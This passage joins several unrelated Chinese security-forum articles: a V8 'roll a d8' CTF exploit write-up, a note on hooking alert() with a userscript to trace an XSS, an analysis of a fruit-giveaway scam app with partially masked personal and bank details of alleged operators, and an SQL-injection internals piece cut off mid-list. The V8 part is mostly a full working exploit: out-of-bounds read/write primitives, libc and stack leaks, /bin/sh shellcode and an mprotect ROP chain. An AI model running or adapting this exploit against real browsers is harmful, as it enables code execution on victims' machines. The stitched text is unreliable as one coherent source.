这样我们就成功获得了一个可控的ArrayBuffer和一个JS对象，然后就可以写一个小工具来方便我们的任意读写了。
class arbitraryRW{
constructor(buf_offset, buf_idx, obj_offset, obj_idx){
this.buf_offset = buf_offset;
this.buf_idx = buf_idx;
this.obj_offset = obj_offset;
this.obj_idx = obj_idx;
}
leak_obj(obj){
objs[this.obj_idx].a = obj; //修改obj.a的值为目标对象
return mem.d2u(oobArray[this.obj_offset]) - 1; //读出属性a的值，因为oobArray是以double的格式读出，所以需要转换为Uint64
}
read(addr){
let idx = this.buf_offset;
oobArray[idx + 1] = mem.u2d(addr); //修改BackingStore指针指向目标地址
oobArray[idx + 2] = mem.u2d(addr); //修改BitField指针指向目标地址（因为调试发现该值总和BackingStore相同）
let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
return mem.d2u(tmp[0]);
}
write(addr, val){
let idx = this.buf_offset;
oobArray[idx + 1] = mem.u2d(addr);
oobArray[idx + 2] = mem.u2d(addr);
let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
tmp.set([mem.u2d(val)]); //将欲存储的Uint64值转为double形式写入
}
}
var arw = new arbitraryRW(buf_offset, controllable_buf_idx, obj_offset, controllable_obj_idx);
## 信息泄露
在拥有了任意读写的能力后，其实已经可以通过改写函数jit代码来实现任意代码执行了。
但是我在编译完v8后发现，该版本为6.7，恰好是已经不能够修改jit代码的版本了，所以还得使用其他办法（ROP）
### 泄露堆地址
我们知道，BackingStore指针指向的就是系统堆的地址，只需要通过越界读取ArrayBuffer就能泄露出来
var heap_addr = mem.d2u(oobArray[buf_offset + 1]) - 0x10
console.log("heap_addr: 0x" + heap_addr.toString(16));
### 泄露libc基址
关于泄露libc的办法，我没有在网上搜到比较详细的方法（没有看懂[Sakura师傅的方法](http://eternalsakura13.com/2018/11/19/justintime/)）
所以我采用了一个比较暴力的办法—————搜索堆内存。
因为ctf
pwn的经验，我知道在堆内存中一定存在某个堆块的fd或者bk指向libc中的地址。所以我尝试通过堆块的size和prevsize遍历堆中的chunk，搜索libc地址。
这里我认为在fd或者bk位置上的数值，只要是0x7f开头的，一定是libc中的`&main_arena+88`。
同时，又因为libc基址是12位对齐的，所以将搜索到的地址减去固定偏移`0x3c4000`（根据libc版本而定），即可获得基址
let curr_chunk = heap_addr;
let searched = 0;
for(let i = 0; i < 0x5000; i++){
let size = arw.read(curr_chunk + 0x8);
let prev_size = arw.read(curr_chunk);
if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0){
let tmp_ptr = curr_chunk - prev_size;
let fd = arw.read(tmp_ptr + 0x10);
let bk = arw.read(tmp_ptr + 0x18)
if(parseInt(fd / 0x10000000000) === 0x7f){
searched = fd;
break;
}else if(parseInt(bk / 0x10000000000) === 0x7f){
searched = bk;
break;
}
} else if(size < 0x20) {
break;
}
size = parseInt(size / 8) * 8
curr_chunk += size;
}
if(searched !== 0){
var libc_base = parseInt((searched - 0x3c4000) / 0x1000) * 0x1000;
console.log("searched libc_base: 0x" + libc_base.toString(16));
} else {
console.log("Not found")
}
这里我是以事先泄露的堆地址为起点进行搜索的，所以平均情况下，实际只搜索了一半的堆内存，有一定几率没有结果。
### 泄露栈地址
泄露栈地址的原因在后文会进行解释。
在libc中存在一个全局变量叫做environ，是一个指向环境变量的指针，而环境变量恰好是存储在栈上高地址的，所以可以通过这个指针泄露出栈的地址。
let environ_addr = libc_base + 0x3C6F38;
let stack_addr = arw.read(environ_addr);
console.log("stack_addr: 0x" + stack_addr.toString(16));
注意，在使用栈地址时要适当的减一些，不要修改到了高地址的环境变量，否则容易abort。
## 布置shellcode
在成功泄露出libc基址之后，如果按照ctf中getshell的思路，其实已经可以通过将malloc_hook修改为one_gadget实现getshell。
但是，这里我们想要获得的是任意代码执行，所以还是得通过shellcode的方案。
let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
let shellcode = new Uint8Array(2048);
for(let i = 0; i < sc.length; i++){
shellcode[i] = sc[i];
}
let shell_addr = arw.read(arw.leak_obj(shellcode) + 0x68);
console.log("shell_addr: 0x" + shell_addr.toString(16));
这里我将shellcode全部写入了一个ArrayBuffer中，然后泄露出了shellcode的地址
## ROP
布置完成shellcode之后，我们需要通过rop来修改shellcode所在内存执行权限。
首先构造出我们的rop链
let pop_rdi = 0x0000000000021102 + libc_base;
let pop_rsi = 0x00000000000202e8 + libc_base;
let pop_rdx = 0x0000000000001b92 + libc_base;
let mprotect = 0x0000000000101770 +libc_base;
let rop = [
pop_rdi,
parseInt(shell_addr / 0x1000) * 0x1000, //shellcode的地址，需要对齐
pop_rsi,
4096,
pop_rdx,
7,
mprotect, //调用mprotect修改内存权限
shell_addr //返回地址为shellcode
];
构造好rop链之后，就要考虑如何劫持程序流程到rop链上了。
前文我们成功泄露出了栈地址，这里我们将采用一个技巧（和堆喷类似，我叫它栈喷2333）。
因为我们获得的栈地址几乎可以说是栈最高的地址，所以我们可以在栈上地址由高到低连续布置retn，这样一旦程序的某个返回地址被我们的retn覆盖，那么程序就会不断的retn下去。
只要我们在最高地址处布置上我们的rop链，那么程序在经过一段retn之后，就会来到我们的rop链上了。
代码如下：
let retn = 0x000000000007EF0D + libc_base;
let rop_start = stack_addr - 8 * (rop.length + 1); //先将栈提高，以免修改到了环境变量
for (let i = 0; i < rop.length; i++) {
arw.write(rop_start + 8 * i, rop[i]); //在高地址布置上我们的shellcode
}
for (let i = 0; i < 0x100; i++) { //不断向低地址写retn
rop_start -= 8;
arw.write(rop_start, retn);
}
print("done");
这里写入了0x100个retn是实验出来的，值太大或太小都不能成功。
## 完整利用
**EXP**
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();
var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028 * 8;
Array.from.call(function() { return oobArray; }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
for (let i = 0;i < 100;i++) {
bufs.push(new ArrayBuffer(0x1234));
let obj = {'a': 0x4321, 'b': 0x9999};
objs.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
)});
function test() {} //没什么用，但是去掉后栈的位置会迷之提高（地址偏低），导致后面布置ROP失败
for (let i = 0;i < 1000;i++) {
test();
}
// 可控的buf在oobArray的第i个元素处
let buf_offset = 0;
for(let i = 0; i < maxSize; i++){
let val = mem.d2u(oobArray[i]);
if(val === 0x123400000000){
console.log("buf_offset: " + i.toString());
buf_offset = i;
oobArray[i] = mem.u2d(0x121200000000); //修改可控buf的size，做个标记
oobArray[i + 3] = mem.u2d(0x1212);
break;
}
}
// 可控的obj在oobArray的第i个元素处
let obj_offset = 0
for(let i = 0; i < maxSize; i++){
let val = mem.d2u(oobArray[i]);
if(val === 0x432100000000){
console.log("obj_offset: " + i.toString());
obj_offset = i;
oobArray[i] = mem.u2d(0x567800000000); //修改可控obj的属性a，做个标记
break;
}
}
// bufs中的第i个buf是可控的
let controllable_buf_idx = 0;
for(let i = 0; i < bufs.length; i++){
let val = bufs[i].byteLength;
if(val === 0x1212){
console.log("found controllable buf at idx " + i.toString());
controllable_buf_idx = i;
break;
}
}
// objs中第i个obj是可控的
let controllable_obj_idx = 0;
for(let i = 0; i < objs.length; i++){
let val = objs[i].a;
if(val === 0x5678){
console.log("found controllable obj at idx " + i.toString());
controllable_obj_idx = i;
break;
}
}
var heap_addr = mem.d2u(oobArray[buf_offset + 1]) - 0x10
console.log("heap_addr: 0x" + heap_addr.toString(16));
class arbitraryRW{
constructor(buf_offset, buf_idx, obj_offset, obj_idx){
this.buf_offset = buf_offset;
this.buf_idx = buf_idx;
this.obj_offset = obj_offset;
this.obj_idx = obj_idx;
}
leak_obj(obj){
objs[this.obj_idx].a = obj;
return mem.d2u(oobArray[this.obj_offset]) - 1;
}
read(addr){
let idx = this.buf_offset;
oobArray[idx + 1] = mem.u2d(addr);
oobArray[idx + 2] = mem.u2d(addr);
let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
return mem.d2u(tmp[0]);
}
write(addr, val){
let idx = this.buf_offset;
oobArray[idx + 1] = mem.u2d(addr);
oobArray[idx + 2] = mem.u2d(addr);
let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
tmp.set([mem.u2d(val)]);
}
}
var arw = new arbitraryRW(buf_offset, controllable_buf_idx, obj_offset, controllable_obj_idx);
let curr_chunk = heap_addr;
let searched = 0;
for(let i = 0; i < 0x5000; i++){
let size = arw.read(curr_chunk + 0x8);
let prev_size = arw.read(curr_chunk);
if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0){
let tmp_ptr = curr_chunk - prev_size;
let fd = arw.read(tmp_ptr + 0x10);
let bk = arw.read(tmp_ptr + 0x18)
if(parseInt(fd / 0x10000000000) === 0x7f){
searched = fd;
break;
}else if(parseInt(bk / 0x10000000000) === 0x7f){
searched = bk;
break;
}
} else if(size < 0x20) {
break;
}
size = parseInt(size / 8) * 8
curr_chunk += size;
}
if(searched !== 0){
var libc_base = parseInt((searched - 0x3c4000) / 0x1000) * 0x1000;
console.log("searched libc_base: 0x" + libc_base.toString(16));
} else {
console.log("Not found")
}
/*
//修改malloc_hook实现getshell
malloc_hook = 0x3c4b10 + libc_base;
one_gadet = 0x4526a + libc_base;
arw.write(malloc_hook, [mem.u2d(one_gadet)]);
*/
let environ_addr = libc_base + 0x3C6F38;
let stack_addr = arw.read(environ_addr);
console.log("stack_addr: 0x" + stack_addr.toString(16));
let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
let shellcode = new Uint8Array(2048);
for(let i = 0; i < sc.length; i++){
shellcode[i] = sc[i];
}
let shell_addr = arw.read(arw.leak_obj(shellcode) + 0x68);
console.log("shell_addr: 0x" + shell_addr.toString(16));
let retn = 0x000000000007EF0D + libc_base;
let pop_rdi = 0x0000000000021102 + libc_base;
let pop_rsi = 0x00000000000202e8 + libc_base;
let pop_rdx = 0x0000000000001b92 + libc_base;
let mprotect = 0x0000000000101770 +libc_base;
let rop = [
pop_rdi,
parseInt(shell_addr / 0x1000) * 0x1000,
pop_rsi,
4096,
pop_rdx,
7,
mprotect,
shell_addr
];
let rop_start = stack_addr - 8 * (rop.length + 1);
for (let i = 0; i < rop.length; i++) {
arw.write(rop_start + 8 * i, rop[i]);
}
for (let i = 0; i < 0x100; i++) {
rop_start -= 8;
arw.write(rop_start, retn);
}
print("done");
# 总结
虽然写完了exp，但是还是有一个玄学问题没有解决，在exp中必须要添加一个没什么用的函数并jit优化它，然后才能成功getshell。如果将它去掉，那么在最后"栈喷"的时候，程序的rsp距离我们泄露的栈地址贼远，没办法喷过去2333，调了很久也没弄清楚原因，希望有大佬知道的话能够告知一下。
（萌新刚入门，文章如果有错误请师傅们谅解，如果发现我一定更正。
# 参考资料
## v8基础
* [sakura师傅的《v8 exploit》](http://eternalsakura13.com/2018/05/06/v8/)
* [V8 Object 内存结构与属性访问详解](https://zhuanlan.zhihu.com/p/24982678)
* [[译] JavaScript 引擎基础：Shapes 和 Inline Caches](https://hijiangtao.github.io/2018/06/17/Shapes-ICs/)
* [A tour of V8: object representation](http://www.jayconrod.com/posts/52/a-tour-of-v8-object-representation)
* [Fast properties in V8](https://v8.dev/blog/fast-properties)
## v8利用
* [Google CTF justintime exploit](http://eternalsakura13.com/2018/11/19/justintime/)
* [扔个骰子学v8 - 从Plaid CTF roll a d8开始](https://www.anquanke.com/post/id/147829#h3-3)
* [aSiagaming-PCTF 2018 Roll a d8](https://github.com/Hpasserby/aSiagaming/tree/master/Chrome-v8-PCTF-roll-a-d8) | 社区文章 |
# 作者个人b站：<https://space.bilibili.com/4404257>
昨天朋友发现了一个xss，审核人员要求提出造成这个洞的原因，所以需要去找这个洞的生成函数，然后按照正常流程：先找页面中生成的触发xss的节点-》再通过该节点的特征（比如类名，属性等）来全局搜索生成这些特征的特定生成函数。但是！发现这个过程第一步就没有——也就是说，页面中并没有节点中存在事件为onerror=alert(1)的节点。所以这里我猜测，可能是临时或者类似eval的生成函数，所以要找的话就比较麻烦。
想了一下——既然触发了alert函数，那我直接hook alert这个函数不就好了？说做就做
* * *
首先了解一下在js下的hook方式：
let myalert = window.alert // 将alert这个函数-》交给myalert，也就是说这里myalert=alert
window.alert = function(fx){myalert(fx)}//调用alert的时候其实就是调用了我们的hook函数..
这样做是不是很意义不明？其实并不是..因为alert是native函数（我认为应该调试不了）,但是通过这种window.alert =
function(fx){myalert(fx)}alert不就变成了可调试的函数？
接着了解一下油猴脚本:
简单介绍，它就是一个浏览器插件，既然是浏览器插件，那么他的运行等级可以很快，但是油猴脚本的运行默认是在dom加载完后添加上去的，比如：
设置一个百度脚本
输出1
因为我们是要hook，所以要求肯定最早加载，那么就要引出我们油猴的加载顺序标签：
@run-at定义了脚本可以运行的最初时刻。这意味着，通过@require引入的脚本如果在获取时耗费过多时间，那么脚本可能在网页加载后执行。无论如何，在给定注入时刻后且脚本注入成功的情况下，发生的所有DOMNodeInserted和DOMContentLoaded事件都会传递到用户脚本。
run-at document-start 脚本将尽可能快地注入。
run-at document-body 如果body元素存在，则脚本将被注入。
run-at document-end 该脚本将在发生DOMContentLoaded事件时或之后注入。
run-at document-idle 在发生DOMContentLoaded事件后注入脚本（如果不设定的话，此加载策略为默认）。
run-at context-menu
如果在浏览器上下文菜单（仅限桌面Chrome浏览器）中点击该脚本，则会注入该脚本。注意：如果使用此值，则将忽略所有@include和@exclude语句，但这可能会在将来更改。
所以也就是说我们如果我们想让脚本比页面更早被加载出来的话，那么我们要在脚本的前面标出run-at document-start如下：
添加@run-at document-start
比之前更快打印出了1
那么接下来再使用之前我讨论过的hook手段来进行hook，但是可能需要不一样一点：我们拿console来做例子（为了脱敏（我总不可能把人家那个漏洞摆到面前然后调试吧），这只是一个教学的文章）。
接着hook调试-》找出关键的触发函数。这里你可能纳闷了，油猴脚本怎么调试？source->油猴
接着刷新页面，让js重新执行一次。
然后我们跟随我们的函数栈，就可以找到真实调用的函数了（就可以找到标题描述的一类生成函数了）。

到此就结束了。感谢昨天朋友的经历让我突然想到还能这么玩... | 社区文章 |
# 水果博主骗局
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
人人都知道天下没有免费的午餐，但当人们真正遇到免费午餐时却难以抵制心中的诱惑。近期，社交平台出现了一群“水果博主”，主要利用用户爱贪小便宜的心理，通过“推广网店、水果丰收免费赠送”为由吸引用户加入群聊，之后利用人们网络兼职轻松赚钱的心理，以“帮农场APP提高人气和提升网店排名，筹备上架”为由诱导用户下载某款APP、充值做任务，从而一步一步套路用户大量充值金额，最后以各种理由推迟返款、提现对用户实施诈骗。
前两天刷微博的时候发现一群利用微博宣传免费送赠水果的博主，抱着好奇的心态便关注了其中一位博主，并按照他的要求进入了一个群聊，群主在福利一：免费赠送水果的掩饰下引导用户下载一个叫“农场聊吧”APP做任务返佣金。当时意识到了这是个骗局，遂在网上搜了搜，果然不少用户已被骗取了大量金钱。
图1-1 用户被诈骗大量金钱
## 1.诈骗流程
水果博主通过微博宣传免费赠送水果吸引用户前去咨询、引导用户加入群聊，再取得用户信任后在群内推出福利，引导用户下载APP帮果园做任务，赚取佣金才是重头戏。用户下载APP后在客服的指导下进行操作，刚开始完成一项任务确实能返款提现本金和佣金，但当用户尝到甜头充值的越来越多的时候，对方以各种理由推迟或拒绝返款提现，用户被骗。诈骗流程如下图所示：
图1-2 诈骗实施流程图
## 2.诈骗套路
### **2.1微博广告宣传、吸引关注**
通过微博宣传免费赠送水果吸引用户关注，并使用户主动与他们联系。
图2-1 微博宣传
### **2.2加入群聊、诱导下载APP**
以“领取人数较多、避免登记出错”为由引导用户加入群聊，统一管理用户。
图2-2 引导用户进入群聊
进群后群主以下三种手段来增强用户的信任度：
1. 要求群员提供收货地址以及联系方式，以做出发货假象。
2. 发送水果图片，将自己包装成真实的水果卖家。
3. 以“线下店铺不好经营，从而转型线上店铺，店铺需要大量人气来提升知名度，所以推出免费赠送水果活动”为由，让群员认为免费赠送水果只是他们的营销手段不至于被骗。
图2-3 取得用户信
获得了群员信任，就可以放长线钓大鱼了，群主开始在群内发放福利：
福利一：免费赠送水果，并给出具体发货时间。
福利二：以“APP即将上架，帮果园提升排名和知名度”为由，引导群员下载APP做任务赚佣金。
提供APP下载链接，诱导用户安装，以下两款应用诈骗APP。
图2-4 诈骗APP图标
其中以“为了防止客户乱点乱提交、领取任务不做导致没人做”为由，让用户做任务首先需要自己充值垫付。
图2-5 诱导用户做任务
群里被安排了不少托，这些人将自己返现成功的截图分享到群里以使群员更加相信事情的真实性，使群员真正相信简单几分钟挂机就可赚取佣金。
图2-6“托”在群里分享提现截图
### **2.3充值挂机、返款提现**
群员按照群主的指导使用App，联系特定账号的客服，并由客服指导用户完成接下来的任务操作。
图2-7 联系客服步骤
做任务流程：注册会员-充值截图-挂机-返款提现。
任务非常简单：领取任务后只需挂机3-4分钟便可返款提现赚取佣金，最低充50返60，其中10元佣金，充的越多返的越多。这样用户在刚开始吃得一些甜头后，在客服引导下会越充越多。当充值到了一定金额，对方会以各种理由拒绝或推迟返款。结果你的金钱全都落入了对方口袋，你再也无法联系到对方。
图2-8 做任务流程
用户注册会员、充值挂机都是在应用中一个博彩页面完成的，可看出这个诈骗过程与网络博彩脱不了关系。对方一方面想通过做任务诈骗用户钱财，另一方面诱导用户充值进行网络赌博，然而不管哪方面都是深深的套路。
图2-9 APP中的博彩应用
## 3.诈骗APP分析
**样本信息:**
样本MD5 | | 915528bbb74e710c6c9fe5bcac4e03f0 |
---|---|---|---
应用包名 | | cn.kkim.nongchangliaoba |
签名信息 | | CN=c,OU=c,O=c,L=c,ST=c,C=CN |
|
主要代码集中在包名为cn.lanhu.im中,文件结构如下图所示。
图2-10 应用文件结构
其中该APP内存在如下恶意代码：获取联系人信息、拍摄照片、从用户设备获取屏幕截图信息、在点击红包过程中进行录音。
（1）应用提供了通讯录好友聊天业务功能，可通过搜索账号添加好友。
图2-11 通讯录功能
App内存在获取联系人信息，目前并实际调用，猜测开发者本想提供从通讯录添加好友的业务功能。但用户注册账号并不需要提供手机号吗，所以未能实现这个功能。
图2-12 获取联系人信息
（2）拍摄照片：
图2-13 拍摄照片
（3）从用户设备获取屏幕截图信息：
图2-14 获取屏幕截图
（4）在点击红包过程中进行录音：
图2-15 录音
（5）除此之外，应用内还接入了博彩网站，用户充值挂机做任务都是在该博彩网站页面完成。
图2-16 博彩页面
近年来博彩网站、APP盛行，在恒安嘉新App全景态势与案件情报溯源挖掘平台上我们仅通过匹配一些简易的规则就能搜索出上万个博彩APP。网络博彩表面上看是网络赌博的一种方式，实质却是一个使用心理战术的诈骗过程。
图2-17 平台挖掘博彩APP
## 4.情报信息溯源
情报信息溯源如下图溯源脑图所示：
图2-18 溯源脑图
### **4.1服务器地址溯源**
（一）应用服务器地址：http://182.61.***.190:8848
1. IP地址：182.61.***.190
2. 物理地址为：广东省广州市
3. 域名最近一次指向时间：2020/06/06
图2-19域名指向
通过IP反查域名得到以下信息：
**域名** |
---|---
www.c***g.cn | | www.xm***oin.com |
www.d***bo.cn | | www.cc***ing.net |
www.88***055.com | | www.jl***d.net |
（二）应用下载地址溯源：www.88***055.com
其中通过IP反查出来的服务器地址www.88***055.com正是该APP的下载地址，此时APP已由“农场聊吧”变为“盛茂果聊”，只是改了应用名称，代码确实同一套。
图 2-20 APP下载页面
下载地址：www.88***055.com的域名注册信息：
注册者邮箱：19***[email protected]
注册者：liu***ping
图2-21 域名注册信息
通过注册者邮箱邮箱我们找到注册者的qq信息：
昵称：*夫
QQ号：19***38
通过查看他的QQ空间我们得知他的真实身份：
匿名：*子
原名：*福友
身份：惠州****电子商务有限公司创始人
创始人*子，是自媒体人，微商大咖，从事微商行业培训2年，同时也是清华北大的特聘讲师。
图2-22 QQ信息
我们查到惠州****电子商务有限公司企业信息：
官网：www.5**3.cn
邮箱：307**[email protected]
公司地址：惠州市江北**一路11号铂金府**大厦*号楼*单元**层**号
该公司成立于2015年4月23日，主要经营电子商务。
图2-23 企业信息
（2）博彩网站服务器地址：http://62***22.com
IP指向：207.148.***.22，物理地址：香港特别行政区。
通过IP反查查到该博彩网站另几条路线，这几条路线均未备案。
域名 | | IP地址 | | 归属地 |
---|---|---|---|---|---
www.62***33.com | | 207.148.***.22 | | 香港 |
www.62***25.com | | 207.148.***.22 | | 香港 |
www.62***33.com | | 207.148.***.22 | | 香港 |
www.s***863.com | | 207.148.***.22 | | 香港 |
### **4.2支付信息溯源**
（一）支付宝信息
在和客服聊天的过程中获得了以下支付宝收款码：
收款账户：卤智***菜店。
图2-24 支付宝信息
（二）银行卡信息
获取的银行卡信息如下：其中有些银行卡信息被打码。
银行卡号 | | 所属银行 | | 收款人 |
---|---|---|---|---|---
6232512390****396 | | 建设银行 | | 青岛梦****工程有限公司 |
6232236520000****568 | | 工商银行 | | *一帆 |
图2-25 银行卡信息
从暗影安全实验室前不久发布的“[黑灰产的廉价“温床”—跑分平台](https://mp.weixin.qq.com/s?__biz=MzI5Mjc0NzQ4Mw==&tempkey=MTA2NV9HUk5ZVytXRGd2WUZWNTFvVXpmaVc1Wm5xZnc1SGxPYm10UWJ5OGpucDdNNzZQX2VnQ2R4azNRb1dVRS1sRXZfdEZMOFlRYjY1WFNNR0xqcFF1ZWZwS29zQmh4dlF0MTBKLThsR2pnY0JSRTFvakZSal83UnNVTTh5YmRhT1RwTmNxRHJVZXdfUlE2VWpzeW)”报告我们可以了解到，他们提供的银行卡、支付二维码信息可能并不是他们自己的信息，而是通过跑分平台得来的普通用户信息。
### **4.3客服溯源**
（一）APP客服
服务器地址：http://shengmaoliaoba.oss-cn-hongkong.aliyuncs.com/。
客服使用的是阿里云提供的云服务器：
图2-26 域名备案信息
（二）博彩网站客服
服务器地址：https://new-api.meiqia.com/。
应用内接入的博彩网站使用的是成都美洽网络科技有限公司提供的云客服服务。
图2-27域名备案信息
## 5.总结
归根结底这是兼职刷单诈骗、博彩诱导充值诈骗的新变种，诈骗方能一次次成功的秘诀便是他们抓住人们爱贪小便宜、吃点甜头便完全放松了警惕的心理与受害者周旋，一步步取得受害者信任，最后来个一锅端。所以大家要坚信世上真的没有免费午餐、天上也不会掉馅饼，不贪小便宜、时时提高自身警惕性，才不会轻易成为被诈骗的受害者。 | 社区文章 |
* 前段时间听到几位大佬对NoSQL注入相关问题进行了热烈的讨论，于是事后做了一些简单了解。本文纯属个人扯淡，与技术无关。行文仓促，如有任何问题欢迎指正。
### 说在前面的话
这篇文章不是为了告诉大家如何挖掘SQL注入漏洞或SQL注入相关的实战技巧，我相信能够看完这篇文章的同学在实战能力和经验上一定比我强很多。撰写本文的目的也仅仅是我突然无聊的想从多个层面去了解更多关于SQL注入，或者说是SQL语句执行本身相关的细节内容，让自己更清晰的理解SQL注入的原理和本质，以及期待在分析过程中发生一些意外的思维碰撞。
那让我们开始吧。
### 关系型数据库SQL注入
不用多说，提到SQL注入，我们首先想到的肯定是传统关系型数据库中最常见的`1 or 1=1`和`' or ''='`。
基本原理不用我再细述了，就是大家都知道的：程序在构造SQL语句时，没有考虑输入数据的合法性，当数据内容超出预期时，影响了SQL语句原有的结构和语义，产生注入等安全问题。
主流的修复方案也很简单，过滤特殊字符、转义特殊字符、预处理等等。哪个方案更好更合理，是否应该全局处理，通过AOP、装饰还是数据库操作基类处理，这都不是本文的重点，不做过多讨论。
我们只再多问自己一句废话，为什么会这样？换个说法，为什么输入的数据会影响SQL语句的结构和语义 _（貌似还是废话）_ ？
假设我们的SQL长这样：
SELECT * FROM table_A WHERE field_A=[USER_INPUT]
它从构造到执行，一般会涉及以下几个阶段：
> 客户端应用 => 客户端驱动 => 数据库客户端/服务器协议 => 数据库服务器
为了便于分析，我们重新排个序：
* 数据库客户端/服务器协议
* 服务器协议实现
* 服务器解析执行实现
* 客户端协议实现（Driver层）
* 客户端应用实现
借用开源关系型数据库MySQL _（本文选择MySQL在Github上的默认branch 5.7版本，不同版本或其他语言驱动和数据库可能有区别）_
，我们来具体看一下上面那条最简单的SQL查询语句在各阶段的情况
_（服务器对于不同的Command指令也可能会有不同的处理方式，甚至一些其他的中间处理过程也会形成攻击面，这里以思路为主，不详细展开）_ 。
#### **MySQL客户端/服务器协议**
为了照顾没有了解过MySQL相关协议的同学，我们先用Wireshark抓个包瞧瞧。
从Wireshark的解析结果不难看出，MySQL协议设计的真是超级简单。结合MySQL官方文档 _（在撰写本文之前MySQL Internals
Manual的Client/Server Protocol部分就已经变成了8.0.3版本，为了避免版本间存在差异，本文参考了官方MySQL-Proxy项目中对MySQL协议的说明）_ ，再对它做一个基本的解释：
* `31 00 00`为包长度 _（指令加SQL语句的长度，计算的时候低位左移就行）_
* `00`为包序列号
* `03`为指令号，这里表示`COM_QUERY`，其他指令请自查
* `53 45 .. 3b`为SQL语句
响应包就先不管了，单看这个请求包我们可以发现：通信过程中，SQL语句就是一个普通明文字符串。
嘘，别说话，继续玩。
#### **服务器协议实现**
MySQL服务器接收到请求后会为它分配线程，然后扔给`sql_parse`中的`do_command()`方法处理指令，`do_command()`中尝试解析数据包并装配指令：
rc= thd->get_protocol()->get_command(&com_data, &command);
内部流程大致如下 _（如果对实现细节感兴趣的同学，可以去看看MySQL-Server）_ ：
1. 调用`sql_class`中的`get_protocol()`获取`Protocol`对象，即子类`Protocol_classic`的实例
2. 调用`Protocol_classic`的`get_command()`装配指令
* `get_command()`中读取数据包，装配指令：
*cmd= (enum enum_server_command) raw_packet[0];
* `parse_packet()`解析数据包中剩余数据：
case COM_QUERY:
{
data->com_query.query= reinterpret_cast<const char*>(raw_packet);
data->com_query.length= packet_length;
break;
}
做完这些之后，转由`dispatch_command()`处理SQL语句：
1. 移除SQL语句头尾空白字符 _（源代码中注释的是”remove garbage”）_ 和尾部分号
2. 分配剩余长度加1的空间装填SQL语句，并在末尾填充`\0`字符作为结束标识
3. 调用`mysql_parse()`进入SQL语句的解析阶段
至此，SQL语句仅仅被简单的做了去除头尾多余字符的处理。
#### **服务器解析执行实现**
该阶段占用篇幅会比较大，跟踪过程也比较繁杂，由于与本文主题关系不是特别大，因此以后如有需要再进行详细介绍，这里只简单的提一下：
1. mysql_parse()
解析SQL语句
（MySQL主要使用Lex词法分析器和Yacc语法分析器对SQL语句进行解析）
* `mysql_execute_command()`根据解析得到的`sql_command`选择动作
* `execute_sqlcom_select()`执行SQL语句并得到执行结果
这里才会对SQL语句结构化和语义化 _（再次提醒一下，以上所有流程都是以最开始那条查询语句为场景的，其他类型语句可能会执行另外的流程）_ 。
#### **客户端协议实现（Driver层）**
MySQL在Github上开源了C++、Java、.NET、Python、NodeJS，以及ODBC几个版本的官方driver，本文选择大家熟悉的[MySQL
Connector/J](https://github.com/mysql/mysql-connector-j/)进行分析。
在Java应用中使用MySQL Connector可以在互联网上搜到大把的示例代码，这里我们就不再多说了，它的执行流程如下
_（其中带完整包名的为JDK内对象）_ ：
1. 通过`Class.forName()`加载`com.mysql.jdbc.Driver`类，`Driver`中的静态代码块会调用`java.sql.DriverManager.registerDriver()`注册MySQL Driver：
static {
try {
java.sql.DriverManager.registerDriver(new Driver());
} catch (SQLException E) {
throw new RuntimeException("Can't register driver!");
}
}
2. `DriverManager.getConnection()`中调用`NonRegisteringDriver.connect()`
* `ConnectionImpl.getInstance()`得到`java.sql.Connection`对象
3. `ConnectionImpl.createStatement()`返回`StatementImpl`实例对象
在得到Statement对象后，即可调用相应方法完成增删改查等数据库操作。
我们仔细分析一下普通查询在driver中是如何实现的：
1. 通过`StatementImpl.executeQuery()`执行SQL
* 处理SQL语句中的Escape字符 _（见下面关于Escape部分）_ ：
Object escapedSqlResult = EscapeProcessor.escapeSQL(sql,
locallyScopedConn.serverSupportsConvertFn(), this.connection);
* 判断DML是否是查询操作：
char firstStatementChar = StringUtils.firstAlphaCharUc(sql,
findStartOfStatement(sql));
checkForDml(sql, firstStatementChar);
* `ConnectionImpl.execSQL()`中调用`MysqlIO.sqlQueryDirect()`遵守MySQL协议封装`QUERY`指令数据包
* `MysqlIO.sendCommand()`写入包长度和包序列号，并发包
为了验证driver层主要逻辑是否通用，我们再简单分析一下PHP默认的MySQL协议实现 _（由于PHP
7版本移除了MySQL相关默认扩展，本文选择了PHP stable 5.6.32版本中的mysqli扩展，并使用官方推荐的原生驱动mysqlnd）_
。由于MySQL扩展需要遵循PHP定义的扩展实现规则，需要了解相关的前置知识才能方便阅读，因此这里不跟踪代码细节，只简单描述一下流程。前面的数据库连接就省略了，直接从查询开始：
1. `mysqli_nonapi`中定义的`mysqli_query()`会调用mysqlnd驱动的`mysql_real_query()`
（该函数是一个调用了`mysqlnd_query()`的宏，而`mysqlnd_query()`则是一个调用了`MYSQLND_CONN_DATA.query()`处理的宏）
* `MYSQLND_CONN_DATA.send_query()`中调用`simple_command()`执行命令
